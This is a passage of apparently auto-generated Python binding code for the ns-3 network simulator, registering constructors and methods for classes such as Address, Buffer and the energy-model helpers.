root_module['ns3::NetDevice']) register_Ns3NixVector_methods(root_module, root_module['ns3::NixVector']) register_Ns3Node_methods(root_module, root_module['ns3::Node']) register_Ns3ObjectFactoryChecker_methods(root_module, root_module['ns3::ObjectFactoryChecker']) register_Ns3ObjectFactoryValue_methods(root_module, root_module['ns3::ObjectFactoryValue']) register_Ns3Packet_methods(root_module, root_module['ns3::Packet']) register_Ns3RvBatteryModel_methods(root_module, root_module['ns3::RvBatteryModel']) register_Ns3SimpleDeviceEnergyModel_methods(root_module, root_module['ns3::SimpleDeviceEnergyModel']) register_Ns3TimeValue_methods(root_module, root_module['ns3::TimeValue']) register_Ns3TypeIdChecker_methods(root_module, root_module['ns3::TypeIdChecker']) register_Ns3TypeIdValue_methods(root_module, root_module['ns3::TypeIdValue']) register_Ns3UintegerValue_methods(root_module, root_module['ns3::UintegerValue']) register_Ns3WifiModeChecker_methods(root_module, root_module['ns3::WifiModeChecker']) register_Ns3WifiModeValue_methods(root_module, root_module['ns3::WifiModeValue']) register_Ns3WifiRadioEnergyModel_methods(root_module, root_module['ns3::WifiRadioEnergyModel']) register_Ns3AddressChecker_methods(root_module, root_module['ns3::AddressChecker']) register_Ns3AddressValue_methods(root_module, root_module['ns3::AddressValue']) register_Ns3BasicEnergySource_methods(root_module, root_module['ns3::BasicEnergySource']) register_Ns3HashImplementation_methods(root_module, root_module['ns3::Hash::Implementation']) register_Ns3HashFunctionFnv1a_methods(root_module, root_module['ns3::Hash::Function::Fnv1a']) register_Ns3HashFunctionHash32_methods(root_module, root_module['ns3::Hash::Function::Hash32']) register_Ns3HashFunctionHash64_methods(root_module, root_module['ns3::Hash::Function::Hash64']) register_Ns3HashFunctionMurmur3_methods(root_module, root_module['ns3::Hash::Function::Murmur3']) return def register_Ns3Address_methods(root_module, cls): cls.add_binary_comparison_operator('<') cls.add_binary_comparison_operator('!=') cls.add_output_stream_operator() cls.add_binary_comparison_operator('==') ## address.h (module 'network'): ns3::Address::Address() [constructor] cls.add_constructor([]) ## address.h (module 'network'): ns3::Address::Address(uint8_t type, uint8_t const * buffer, uint8_t len) [constructor] cls.add_constructor([param('uint8_t', 'type'), param('uint8_t const *', 'buffer'), param('uint8_t', 'len')]) ## address.h (module 'network'): ns3::Address::Address(ns3::Address const & address) [copy constructor] cls.add_constructor([param('ns3::Address const &', 'address')]) ## address.h (module 'network'): bool ns3::Address::CheckCompatible(uint8_t type, uint8_t len) const [member function] cls.add_method('CheckCompatible', 'bool', [param('uint8_t', 'type'), param('uint8_t', 'len')], is_const=True) ## address.h (module 'network'): uint32_t ns3::Address::CopyAllFrom(uint8_t const * buffer, uint8_t len) [member function] cls.add_method('CopyAllFrom', 'uint32_t', [param('uint8_t const *', 'buffer'), param('uint8_t', 'len')]) ## address.h (module 'network'): uint32_t ns3::Address::CopyAllTo(uint8_t * buffer, uint8_t len) const [member function] cls.add_method('CopyAllTo', 'uint32_t', [param('uint8_t *', 'buffer'), param('uint8_t', 'len')], is_const=True) ## address.h (module 'network'): uint32_t ns3::Address::CopyFrom(uint8_t const * buffer, uint8_t len) [member function] cls.add_method('CopyFrom', 'uint32_t', [param('uint8_t const *', 'buffer'), param('uint8_t', 'len')]) ## address.h (module 'network'): uint32_t ns3::Address::CopyTo(uint8_t * buffer) const [member function] cls.add_method('CopyTo', 'uint32_t', [param('uint8_t *', 'buffer')], is_const=True) ## address.h (module 'network'): void ns3::Address::Deserialize(ns3::TagBuffer buffer) [member function] cls.add_method('Deserialize', 'void', [param('ns3::TagBuffer', 'buffer')]) ## address.h (module 'network'): uint8_t ns3::Address::GetLength() const [member function] cls.add_method('GetLength', 'uint8_t', [], is_const=True) ## address.h (module 'network'): uint32_t ns3::Address::GetSerializedSize() const [member function] cls.add_method('GetSerializedSize', 'uint32_t', [], is_const=True) ## address.h (module 'network'): bool ns3::Address::IsInvalid() const [member function] cls.add_method('IsInvalid', 'bool', [], is_const=True) ## address.h (module 'network'): bool ns3::Address::IsMatchingType(uint8_t type) const [member function] cls.add_method('IsMatchingType', 'bool', [param('uint8_t', 'type')], is_const=True) ## address.h (module 'network'): static uint8_t ns3::Address::Register() [member function] cls.add_method('Register', 'uint8_t', [], is_static=True) ## address.h (module 'network'): void ns3::Address::Serialize(ns3::TagBuffer buffer) const [member function] cls.add_method('Serialize', 'void', [param('ns3::TagBuffer', 'buffer')], is_const=True) return def register_Ns3AttributeConstructionList_methods(root_module, cls): ## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList::AttributeConstructionList(ns3::AttributeConstructionList const & arg0) [copy constructor] cls.add_constructor([param('ns3::AttributeConstructionList const &', 'arg0')]) ## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList::AttributeConstructionList() [constructor] cls.add_constructor([]) ## attribute-construction-list.h (module 'core'): void ns3::AttributeConstructionList::Add(std::string name, ns3::Ptr<ns3::AttributeChecker const> checker, ns3::Ptr<ns3::AttributeValue> value) [member function] cls.add_method('Add', 'void', [param('std::string', 'name'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker'), param('ns3::Ptr< ns3::AttributeValue >', 'value')]) ## attribute-construction-list.h (module 'core'): std::_List_const_iterator<ns3::AttributeConstructionList::Item> ns3::AttributeConstructionList::Begin() const [member function] cls.add_method('Begin', 'std::_List_const_iterator< ns3::AttributeConstructionList::Item >', [], is_const=True) ## attribute-construction-list.h (module 'core'): std::_List_const_iterator<ns3::AttributeConstructionList::Item> ns3::AttributeConstructionList::End() const [member function] cls.add_method('End', 'std::_List_const_iterator< ns3::AttributeConstructionList::Item >', [], is_const=True) ## attribute-construction-list.h (module 'core'): ns3::Ptr<ns3::AttributeValue> ns3::AttributeConstructionList::Find(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function] cls.add_method('Find', 'ns3::Ptr< ns3::AttributeValue >', [param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')], is_const=True) return def register_Ns3AttributeConstructionListItem_methods(root_module, cls): ## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList::Item::Item() [constructor] cls.add_constructor([]) ## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList::Item::Item(ns3::AttributeConstructionList::Item const & arg0) [copy constructor] cls.add_constructor([param('ns3::AttributeConstructionList::Item const &', 'arg0')]) ## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList::Item::checker [variable] cls.add_instance_attribute('checker', 'ns3::Ptr< ns3::AttributeChecker const >', is_const=False) ## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList::Item::name [variable] cls.add_instance_attribute('name', 'std::string', is_const=False) ## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList::Item::value [variable] cls.add_instance_attribute('value', 'ns3::Ptr< ns3::AttributeValue >', is_const=False) return def register_Ns3Buffer_methods(root_module, cls): ## buffer.h (module 'network'): ns3::Buffer::Buffer() [constructor] cls.add_constructor([]) ## buffer.h (module 'network'): ns3::Buffer::Buffer(uint32_t dataSize) [constructor] cls.add_constructor([param('uint32_t', 'dataSize')]) ## buffer.h (module 'network'): ns3::Buffer::Buffer(uint32_t dataSize, bool initialize) [constructor] cls.add_constructor([param('uint32_t', 'dataSize'), param('bool', 'initialize')]) ## buffer.h (module 'network'): ns3::Buffer::Buffer(ns3::Buffer const & o) [copy constructor] cls.add_constructor([param('ns3::Buffer const &', 'o')]) ## buffer.h (module 'network'): bool ns3::Buffer::AddAtEnd(uint32_t end) [member function] cls.add_method('AddAtEnd', 'bool', [param('uint32_t', 'end')]) ## buffer.h (module 'network'): void ns3::Buffer::AddAtEnd(ns3::Buffer const & o) [member function] cls.add_method('AddAtEnd', 'void', [param('ns3::Buffer const &', 'o')]) ## buffer.h (module 'network'): bool ns3::Buffer::AddAtStart(uint32_t start) [member function] cls.add_method('AddAtStart', 'bool', [param('uint32_t', 'start')]) ## buffer.h (module 'network'): ns3::Buffer::Iterator ns3::Buffer::Begin() const [member function] cls.add_method('Begin', 'ns3::Buffer::Iterator', [], is_const=True) ## buffer.h (module 'network'): void ns3::Buffer::CopyData(std::ostream * os, uint32_t size) const [member function] cls.add_method('CopyData', 'void', [param('std::ostream *', 'os'), param('uint32_t', 'size')], is_const=True) ## buffer.h (module 'network'): uint32_t ns3::Buffer::CopyData(uint8_t * buffer, uint32_t size) const [member function] cls.add_method('CopyData', 'uint32_t', [param('uint8_t *', 'buffer'), param('uint32_t', 'size')], is_const=True) ## buffer.h (module 'network'): ns3::Buffer ns3::Buffer::CreateFragment(uint32_t start, uint32_t length) const [member function] cls.add_method('CreateFragment', 'ns3::Buffer', [param('uint32_t', 'start'), param('uint32_t', 'length')], is_const=True) ## buffer.h (module 'network'): ns3::Buffer ns3::Buffer::CreateFullCopy() const [member function] cls.add_method('CreateFullCopy', 'ns3::Buffer', [], is_const=True) ## buffer.h (module 'network'): uint32_t ns3::Buffer::Deserialize(uint8_t const * buffer, uint32_t size) [member function] cls.add_method('Deserialize', 'uint32_t', [param('uint8_t const *', 'buffer'), param('uint32_t', 'size')]) ## buffer.h (module 'network'): ns3::Buffer::Iterator ns3::Buffer::End() const [member function] cls.add_method('End', 'ns3::Buffer::Iterator', [], is_const=True) ## buffer.h (module 'network'): int32_t ns3::Buffer::GetCurrentEndOffset() const [member function] cls.add_method('GetCurrentEndOffset', 'int32_t', [], is_const=True) ## buffer.h (module 'network'): int32_t ns3::Buffer::GetCurrentStartOffset() const [member function] cls.add_method('GetCurrentStartOffset', 'int32_t', [], is_const=True) ## buffer.h (module 'network'): uint32_t ns3::Buffer::GetSerializedSize() const [member function] cls.add_method('GetSerializedSize', 'uint32_t', [], is_const=True) ## buffer.h (module 'network'): uint32_t ns3::Buffer::GetSize() const [member function] cls.add_method('GetSize', 'uint32_t', [], is_const=True) ## buffer.h (module 'network'): uint8_t const * ns3::Buffer::PeekData() const [member function] cls.add_method('PeekData', 'uint8_t const *', [], is_const=True) ## buffer.h (module 'network'): void ns3::Buffer::RemoveAtEnd(uint32_t end) [member function] cls.add_method('RemoveAtEnd', 'void', [param('uint32_t', 'end')]) ## buffer.h (module 'network'): void ns3::Buffer::RemoveAtStart(uint32_t start) [member function] cls.add_method('RemoveAtStart', 'void', [param('uint32_t', 'start')]) ## buffer.h (module 'network'): uint32_t ns3::Buffer::Serialize(uint8_t * buffer, uint32_t maxSize) const [member function] cls.add_method('Serialize', 'uint32_t', [param('uint8_t *', 'buffer'), param('uint32_t', 'maxSize')], is_const=True) return def register_Ns3BufferIterator_methods(root_module, cls): ## buffer.h (module 'network'): ns3::Buffer::Iterator::Iterator(ns3::Buffer::Iterator const & arg0) [copy constructor] cls.add_constructor([param('ns3::Buffer::Iterator const &', 'arg0')]) ## buffer.h (module 'network'): ns3::Buffer::Iterator::Iterator() [constructor] cls.add_constructor([]) ## buffer.h (module 'network'): uint16_t ns3::Buffer::Iterator::CalculateIpChecksum(uint16_t size) [member function] cls.add_method('CalculateIpChecksum', 'uint16_t', [param('uint16_t', 'size')]) ## buffer.h (module 'network'): uint16_t ns3::Buffer::Iterator::CalculateIpChecksum(uint16_t size, uint32_t initialChecksum) [member function] cls.add_method('CalculateIpChecksum', 'uint16_t', [param('uint16_t', 'size'), param('uint32_t', 'initialChecksum')]) ## buffer.h (module 'network'): uint32_t ns3::Buffer::Iterator::GetDistanceFrom(ns3::Buffer::Iterator const & o) const [member function] cls.add_method('GetDistanceFrom', 'uint32_t', [param('ns3::Buffer::Iterator const &', 'o')], is_const=True) ## buffer.h (module 'network'): uint32_t ns3::Buffer::Iterator::GetSize() const [member function] cls.add_method('GetSize', 'uint32_t', [], is_const=True) ## buffer.h (module 'network'): bool ns3::Buffer::Iterator::IsEnd() const [member function] cls.add_method('IsEnd', 'bool', [], is_const=True) ## buffer.h (module 'network'): bool ns3::Buffer::Iterator::IsStart() const [member function] cls.add_method('IsStart', 'bool', [], is_const=True) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::Next() [member function] cls.add_method('Next', 'void', []) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::Next(uint32_t delta) [member function] cls.add_method('Next', 'void', [param('uint32_t', 'delta')]) ## buffer.h (module 'network'): uint8_t ns3::Buffer::Iterator::PeekU8() [member function] cls.add_method('PeekU8', 'uint8_t', []) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::Prev() [member function] cls.add_method('Prev', 'void', []) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::Prev(uint32_t delta) [member function] cls.add_method('Prev', 'void', [param('uint32_t', 'delta')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::Read(uint8_t * buffer, uint32_t size) [member function] cls.add_method('Read', 'void', [param('uint8_t *', 'buffer'), param('uint32_t', 'size')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::Read(ns3::Buffer::Iterator start, uint32_t size) [member function] cls.add_method('Read', 'void', [param('ns3::Buffer::Iterator', 'start'), param('uint32_t', 'size')]) ## buffer.h (module 'network'): uint16_t ns3::Buffer::Iterator::ReadLsbtohU16() [member function] cls.add_method('ReadLsbtohU16', 'uint16_t', []) ## buffer.h (module 'network'): uint32_t ns3::Buffer::Iterator::ReadLsbtohU32() [member function] cls.add_method('ReadLsbtohU32', 'uint32_t', []) ## buffer.h (module 'network'): uint64_t ns3::Buffer::Iterator::ReadLsbtohU64() [member function] cls.add_method('ReadLsbtohU64', 'uint64_t', []) ## buffer.h (module 'network'): uint16_t ns3::Buffer::Iterator::ReadNtohU16() [member function] cls.add_method('ReadNtohU16', 'uint16_t', []) ## buffer.h (module 'network'): uint32_t ns3::Buffer::Iterator::ReadNtohU32() [member function] cls.add_method('ReadNtohU32', 'uint32_t', []) ## buffer.h (module 'network'): uint64_t ns3::Buffer::Iterator::ReadNtohU64() [member function] cls.add_method('ReadNtohU64', 'uint64_t', []) ## buffer.h (module 'network'): uint16_t ns3::Buffer::Iterator::ReadU16() [member function] cls.add_method('ReadU16', 'uint16_t', []) ## buffer.h (module 'network'): uint32_t ns3::Buffer::Iterator::ReadU32() [member function] cls.add_method('ReadU32', 'uint32_t', []) ## buffer.h (module 'network'): uint64_t ns3::Buffer::Iterator::ReadU64() [member function] cls.add_method('ReadU64', 'uint64_t', []) ## buffer.h (module 'network'): uint8_t ns3::Buffer::Iterator::ReadU8() [member function] cls.add_method('ReadU8', 'uint8_t', []) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::Write(uint8_t const * buffer, uint32_t size) [member function] cls.add_method('Write', 'void', [param('uint8_t const *', 'buffer'), param('uint32_t', 'size')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::Write(ns3::Buffer::Iterator start, ns3::Buffer::Iterator end) [member function] cls.add_method('Write', 'void', [param('ns3::Buffer::Iterator', 'start'), param('ns3::Buffer::Iterator', 'end')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteHtolsbU16(uint16_t data) [member function] cls.add_method('WriteHtolsbU16', 'void', [param('uint16_t', 'data')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteHtolsbU32(uint32_t data) [member function] cls.add_method('WriteHtolsbU32', 'void', [param('uint32_t', 'data')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteHtolsbU64(uint64_t data) [member function] cls.add_method('WriteHtolsbU64', 'void', [param('uint64_t', 'data')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteHtonU16(uint16_t data) [member function] cls.add_method('WriteHtonU16', 'void', [param('uint16_t', 'data')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteHtonU32(uint32_t data) [member function] cls.add_method('WriteHtonU32', 'void', [param('uint32_t', 'data')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteHtonU64(uint64_t data) [member function] cls.add_method('WriteHtonU64', 'void', [param('uint64_t', 'data')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteU16(uint16_t data) [member function] cls.add_method('WriteU16', 'void', [param('uint16_t', 'data')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteU32(uint32_t data) [member function] cls.add_method('WriteU32', 'void', [param('uint32_t', 'data')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteU64(uint64_t data) [member function] cls.add_method('WriteU64', 'void', [param('uint64_t', 'data')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteU8(uint8_t data) [member function] cls.add_method('WriteU8', 'void', [param('uint8_t', 'data')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteU8(uint8_t data, uint32_t len) [member function] cls.add_method('WriteU8', 'void', [param('uint8_t', 'data'), param('uint32_t', 'len')]) return def register_Ns3ByteTagIterator_methods(root_module, cls): ## packet.h (module 'network'): ns3::ByteTagIterator::ByteTagIterator(ns3::ByteTagIterator const & arg0) [copy constructor] cls.add_constructor([param('ns3::ByteTagIterator const &', 'arg0')]) ## packet.h (module 'network'): bool ns3::ByteTagIterator::HasNext() const [member function] cls.add_method('HasNext', 'bool', [], is_const=True) ## packet.h (module 'network'): ns3::ByteTagIterator::Item ns3::ByteTagIterator::Next() [member function] cls.add_method('Next', 'ns3::ByteTagIterator::Item', []) return def register_Ns3ByteTagIteratorItem_methods(root_module, cls): ## packet.h (module 'network'): ns3::ByteTagIterator::Item::Item(ns3::ByteTagIterator::Item const & arg0) [copy constructor] cls.add_constructor([param('ns3::ByteTagIterator::Item const &', 'arg0')]) ## packet.h (module 'network'): uint32_t ns3::ByteTagIterator::Item::GetEnd() const [member function] cls.add_method('GetEnd', 'uint32_t', [], is_const=True) ## packet.h (module 'network'): uint32_t ns3::ByteTagIterator::Item::GetStart() const [member function] cls.add_method('GetStart', 'uint32_t', [], is_const=True) ## packet.h (module 'network'): void ns3::ByteTagIterator::Item::GetTag(ns3::Tag & tag) const [member function] cls.add_method('GetTag', 'void', [param('ns3::Tag &', 'tag')], is_const=True) ## packet.h (module 'network'): ns3::TypeId ns3::ByteTagIterator::Item::GetTypeId() const [member function] cls.add_method('GetTypeId', 'ns3::TypeId', [], is_const=True) return def register_Ns3ByteTagList_methods(root_module, cls): ## byte-tag-list.h (module 'network'): ns3::ByteTagList::ByteTagList() [constructor] cls.add_constructor([]) ## byte-tag-list.h (module 'network'): ns3::ByteTagList::ByteTagList(ns3::ByteTagList const & o) [copy constructor] cls.add_constructor([param('ns3::ByteTagList const &', 'o')]) ## byte-tag-list.h (module 'network'): ns3::TagBuffer ns3::ByteTagList::Add(ns3::TypeId tid, uint32_t bufferSize, int32_t start, int32_t end) [member function] cls.add_method('Add', 'ns3::TagBuffer', [param('ns3::TypeId', 'tid'), param('uint32_t', 'bufferSize'), param('int32_t', 'start'), param('int32_t', 'end')]) ## byte-tag-list.h (module 'network'): void ns3::ByteTagList::Add(ns3::ByteTagList const & o) [member function] cls.add_method('Add', 'void', [param('ns3::ByteTagList const &', 'o')]) ## byte-tag-list.h (module 'network'): void ns3::ByteTagList::AddAtEnd(int32_t adjustment, int32_t appendOffset) [member function] cls.add_method('AddAtEnd', 'void', [param('int32_t', 'adjustment'), param('int32_t', 'appendOffset')]) ## byte-tag-list.h (module 'network'): void ns3::ByteTagList::AddAtStart(int32_t adjustment, int32_t prependOffset) [member function] cls.add_method('AddAtStart', 'void', [param('int32_t', 'adjustment'), param('int32_t', 'prependOffset')]) ## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator ns3::ByteTagList::Begin(int32_t offsetStart, int32_t offsetEnd) const [member function] cls.add_method('Begin', 'ns3::ByteTagList::Iterator', [param('int32_t', 'offsetStart'), param('int32_t', 'offsetEnd')], is_const=True) ## byte-tag-list.h (module 'network'): void ns3::ByteTagList::RemoveAll() [member function] cls.add_method('RemoveAll', 'void', []) return def register_Ns3ByteTagListIterator_methods(root_module, cls): ## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Iterator(ns3::ByteTagList::Iterator const & arg0) [copy constructor] cls.add_constructor([param('ns3::ByteTagList::Iterator const &', 'arg0')]) ## byte-tag-list.h (module 'network'): uint32_t ns3::ByteTagList::Iterator::GetOffsetStart() const [member function] cls.add_method('GetOffsetStart', 'uint32_t', [], is_const=True) ## byte-tag-list.h (module 'network'): bool ns3::ByteTagList::Iterator::HasNext() const [member function] cls.add_method('HasNext', 'bool', [], is_const=True) ## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Item ns3::ByteTagList::Iterator::Next() [member function] cls.add_method('Next', 'ns3::ByteTagList::Iterator::Item', []) return def register_Ns3ByteTagListIteratorItem_methods(root_module, cls): ## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Item::Item(ns3::ByteTagList::Iterator::Item const & arg0) [copy constructor] cls.add_constructor([param('ns3::ByteTagList::Iterator::Item const &', 'arg0')]) ## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Item::Item(ns3::TagBuffer buf) [constructor] cls.add_constructor([param('ns3::TagBuffer', 'buf')]) ## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Item::buf [variable] cls.add_instance_attribute('buf', 'ns3::TagBuffer', is_const=False) ## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Item::end [variable] cls.add_instance_attribute('end', 'int32_t', is_const=False) ## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Item::size [variable] cls.add_instance_attribute('size', 'uint32_t', is_const=False) ## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Item::start [variable] cls.add_instance_attribute('start', 'int32_t', is_const=False) ## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Item::tid [variable] cls.add_instance_attribute('tid', 'ns3::TypeId', is_const=False) return def register_Ns3CallbackBase_methods(root_module, cls): ## callback.h (module 'core'): ns3::CallbackBase::CallbackBase(ns3::CallbackBase const & arg0) [copy constructor] cls.add_constructor([param('ns3::CallbackBase const &', 'arg0')]) ## callback.h (module 'core'): ns3::CallbackBase::CallbackBase() [constructor] cls.add_constructor([]) ## callback.h (module 'core'): ns3::Ptr<ns3::CallbackImplBase> ns3::CallbackBase::GetImpl() const [member function] cls.add_method('GetImpl', 'ns3::Ptr< ns3::CallbackImplBase >', [], is_const=True) ## callback.h (module 'core'): ns3::CallbackBase::CallbackBase(ns3::Ptr<ns3::CallbackImplBase> impl) [constructor] cls.add_constructor([param('ns3::Ptr< ns3::CallbackImplBase >', 'impl')], visibility='protected') ## callback.h (module 'core'): static std::string ns3::CallbackBase::Demangle(std::string const & mangled) [member function] cls.add_method('Demangle', 'std::string', [param('std::string const &', 'mangled')], is_static=True, visibility='protected') return def register_Ns3DeviceEnergyModelContainer_methods(root_module, cls): ## device-energy-model-container.h (module 'energy'): ns3::DeviceEnergyModelContainer::DeviceEnergyModelContainer(ns3::DeviceEnergyModelContainer const & arg0) [copy constructor] cls.add_constructor([param('ns3::DeviceEnergyModelContainer const &', 'arg0')]) ## device-energy-model-container.h (module 'energy'): ns3::DeviceEnergyModelContainer::DeviceEnergyModelContainer() [constructor] cls.add_constructor([]) ## device-energy-model-container.h (module 'energy'): ns3::DeviceEnergyModelContainer::DeviceEnergyModelContainer(ns3::Ptr<ns3::DeviceEnergyModel> model) [constructor] cls.add_constructor([param('ns3::Ptr< ns3::DeviceEnergyModel >', 'model')]) ## device-energy-model-container.h (module 'energy'): ns3::DeviceEnergyModelContainer::DeviceEnergyModelContainer(std::string modelName) [constructor] cls.add_constructor([param('std::string', 'modelName')]) ## device-energy-model-container.h (module 'energy'): ns3::DeviceEnergyModelContainer::DeviceEnergyModelContainer(ns3::DeviceEnergyModelContainer const & a, ns3::DeviceEnergyModelContainer const & b) [constructor] cls.add_constructor([param('ns3::DeviceEnergyModelContainer const &', 'a'), param('ns3::DeviceEnergyModelContainer const &', 'b')]) ## device-energy-model-container.h (module 'energy'): void ns3::DeviceEnergyModelContainer::Add(ns3::DeviceEnergyModelContainer container) [member function] cls.add_method('Add', 'void', [param('ns3::DeviceEnergyModelContainer', 'container')]) ## device-energy-model-container.h (module 'energy'): void ns3::DeviceEnergyModelContainer::Add(ns3::Ptr<ns3::DeviceEnergyModel> model) [member function] cls.add_method('Add', 'void', [param('ns3::Ptr< ns3::DeviceEnergyModel >', 'model')]) ## device-energy-model-container.h (module 'energy'): void ns3::DeviceEnergyModelContainer::Add(std::string modelName) [member function] cls.add_method('Add', 'void', [param('std::string', 'modelName')]) ## device-energy-model-container.h (module 'energy'): __gnu_cxx::__normal_iterator<const ns3::Ptr<ns3::DeviceEnergyModel>*,std::vector<ns3::Ptr<ns3::DeviceEnergyModel>, std::allocator<ns3::Ptr<ns3::DeviceEnergyModel> > > > ns3::DeviceEnergyModelContainer::Begin() const [member function] cls.add_method('Begin', '__gnu_cxx::__normal_iterator< ns3::Ptr< ns3::DeviceEnergyModel > const, std::vector< ns3::Ptr< ns3::DeviceEnergyModel > > >', [], is_const=True) ## device-energy-model-container.h (module 'energy'): void ns3::DeviceEnergyModelContainer::Clear() [member function] cls.add_method('Clear', 'void', []) ## device-energy-model-container.h (module 'energy'): __gnu_cxx::__normal_iterator<const ns3::Ptr<ns3::DeviceEnergyModel>*,std::vector<ns3::Ptr<ns3::DeviceEnergyModel>, std::allocator<ns3::Ptr<ns3::DeviceEnergyModel> > > > ns3::DeviceEnergyModelContainer::End() const [member function] cls.add_method('End', '__gnu_cxx::__normal_iterator< ns3::Ptr< ns3::DeviceEnergyModel > const, std::vector< ns3::Ptr< ns3::DeviceEnergyModel > > >', [], is_const=True) ## device-energy-model-container.h (module 'energy'): ns3::Ptr<ns3::DeviceEnergyModel> ns3::DeviceEnergyModelContainer::Get(uint32_t i) const [member function] cls.add_method('Get', 'ns3::Ptr< ns3::DeviceEnergyModel >', [param('uint32_t', 'i')], is_const=True) ## device-energy-model-container.h (module 'energy'): uint32_t ns3::DeviceEnergyModelContainer::GetN() const [member function] cls.add_method('GetN', 'uint32_t', [], is_const=True) return def register_Ns3DeviceEnergyModelHelper_methods(root_module, cls): ## energy-model-helper.h (module 'energy'): ns3::DeviceEnergyModelHelper::DeviceEnergyModelHelper() [constructor] cls.add_constructor([]) ## energy-model-helper.h (module 'energy'): ns3::DeviceEnergyModelHelper::DeviceEnergyModelHelper(ns3::DeviceEnergyModelHelper const & arg0) [copy constructor] cls.add_constructor([param('ns3::DeviceEnergyModelHelper const &', 'arg0')]) ## energy-model-helper.h (module 'energy'): ns3::DeviceEnergyModelContainer ns3::DeviceEnergyModelHelper::Install(ns3::Ptr<ns3::NetDevice> device, ns3::Ptr<ns3::EnergySource> source) const [member function] cls.add_method('Install', 'ns3::DeviceEnergyModelContainer', [param('ns3::Ptr< ns3::NetDevice >', 'device'), param('ns3::Ptr< ns3::EnergySource >', 'source')], is_const=True) ## energy-model-helper.h (module 'energy'): ns3::DeviceEnergyModelContainer ns3::DeviceEnergyModelHelper::Install(ns3::NetDeviceContainer deviceContainer, ns3::EnergySourceContainer sourceContainer) const [member function] cls.add_method('Install', 'ns3::DeviceEnergyModelContainer', [param('ns3::NetDeviceContainer', 'deviceContainer'), param('ns3::EnergySourceContainer', 'sourceContainer')], is_const=True) ## energy-model-helper.h (module 'energy'): void ns3::DeviceEnergyModelHelper::Set(std::string name, ns3::AttributeValue const & v) [member function] cls.add_method('Set', 'void', [param('std::string', 'name'), param('ns3::AttributeValue const &', 'v')], is_pure_virtual=True, is_virtual=True) ## energy-model-helper.h (module 'energy'): ns3::Ptr<ns3::DeviceEnergyModel> ns3::DeviceEnergyModelHelper::DoInstall(ns3::Ptr<ns3::NetDevice> device, ns3::Ptr<ns3::EnergySource> source) const [member function] cls.add_method('DoInstall', 'ns3::Ptr< ns3::DeviceEnergyModel >', [param('ns3::Ptr< ns3::NetDevice >', 'device'), param('ns3::Ptr< ns3::EnergySource >', 'source')], is_pure_virtual=True, is_const=True, visibility='private', is_virtual=True) return def register_Ns3EnergySourceHelper_methods(root_module, cls): ## energy-model-helper.h (module 'energy'): ns3::EnergySourceHelper::EnergySourceHelper() [constructor] cls.add_constructor([]) ## energy-model-helper.h (module 'energy'): ns3::EnergySourceHelper::EnergySourceHelper(ns3::EnergySourceHelper const & arg0) [copy constructor] cls.add_constructor([param('ns3::EnergySourceHelper const &', 'arg0')]) ## energy-model-helper.h (module 'energy'): ns3::EnergySourceContainer ns3::EnergySourceHelper::Install(ns3::Ptr<ns3::Node> node) const [member function] cls.add_method('Install', 'ns3::EnergySourceContainer', [param('ns3::Ptr< ns3::Node >', 'node')], is_const=True) ## energy-model-helper.h (module 'energy'): ns3::EnergySourceContainer ns3::EnergySourceHelper::Install(ns3::NodeContainer c) const [member function] cls.add_method('Install', 'ns3::EnergySourceContainer', [param('ns3::NodeContainer', 'c')], is_const=True) ## energy-model-helper.h (module 'energy'): ns3::EnergySourceContainer ns3::EnergySourceHelper::Install(std::string nodeName) const [member function] cls.add_method('Install', 'ns3::EnergySourceContainer', [param('std::string', 'nodeName')], is_const=True) ## energy-model-helper.h (module 'energy'): ns3::EnergySourceContainer ns3::EnergySourceHelper::InstallAll() const [member function] cls.add_method('InstallAll', 'ns3::EnergySourceContainer', [], is_const=True) ## energy-model-helper.h (module 'energy'): void ns3::EnergySourceHelper::Set(std::string name, ns3::AttributeValue const & v) [member function] cls.add_method('Set', 'void', [param('std::string', 'name'), param('ns3::AttributeValue const &', 'v')], is_pure_virtual=True, is_virtual=True) ## energy-model-helper.h (module 'energy'): ns3::Ptr<ns3::EnergySource> ns3::EnergySourceHelper::DoInstall(ns3::Ptr<ns3::Node> node) const [member function] cls.add_method('DoInstall', 'ns3::Ptr< ns3::EnergySource >', [param('ns3::Ptr< ns3::Node >', 'node')], is_pure_virtual=True, is_const=True, visibility='private', is_virtual=True) return def register_Ns3EventId_methods(root_module, cls): cls.add_binary_comparison_operator('!=') cls.add_binary_comparison_operator('==') ## event-id.h (module 'core'): 